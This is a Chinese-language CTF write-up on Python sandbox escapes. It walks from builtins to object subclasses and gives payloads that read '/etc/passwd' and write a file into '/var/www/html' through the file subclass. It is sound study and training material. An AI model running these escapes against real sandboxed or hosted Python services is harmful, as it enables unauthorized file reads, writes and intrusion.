Table of Contents

本文主要讲python沙盒bypass,最早接触的一道有关沙盒绕过的题,来源于国赛,那也是我第一场CTF比赛,可是当时一道题都没有做出来,后面的XMAN选拔赛、还有最近的网鼎杯都有python沙盒的题,那就写一下总结吧。

题目大多都禁用相关关键字、库、函数,甚至禁用了reload,导致不能重载。 沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。

这种题一般的解题思路,就是变量->对象->基类->子类遍历->全局变量 ,在这个流程中找到我们想要的模块或者函数。

基础知识

在启动python解释器之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用,这些函数就是内建函数,并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用

1、查看当前内存空间可以调用的模块

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/73b892ca-4914-410d-a3b7-57083ad320a3/rId21.png

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/7368607a-3731-4c81-9299-ddf336609a4e/rId22.png

不管是哪个版本,这里我们可以看到__builtins__都是默认在启动解释器之后已经导入内存中的,下面我看看__builtins__有哪些属性和方法。

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/ae94dbf2-6fc9-4848-8c41-2b762bc58ab7/rId23.png

可以看到,这里有不少我们常用到的函数,eval()、print()、hex()等等,最最主要的还是__import__函数,有了它,我们就可以导入任意我们想要的库。

2、类的继承

首先,python中一切均为对象,均继承object对象,python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,现在小小总结了两种创建object的方法如下

[].__class__.__bases__[0]
[].__class__.__base__
''.__class__.__mro__[-1]

>>> [].__class__.__bases__[0]
<type 'object'>
>>> ''.__class__.__mro__[-1]
<type 'object'>

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/214fe2c1-2920-4b37-86c9-533e8c781f77/rId24.png

然后可以看到存在一个hook函数,直接调用

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/bb614786-72fb-40d4-8052-3fbb0564a7c5/rId25.png

这里有个小窍门,如果想要找到你想找的模块,可以用如下方式or(手算)

[].__class__.__base__.__subclasses__().index(模块名)
eg:
>>> [].__class__.__base__.__subclasses__().index(file)
40

存在file类型的object,事实上调用后可以对文件操作了 
//读文件
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
().__class__.__base__.__subclasses__().pop(40)('/etc/passwd').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')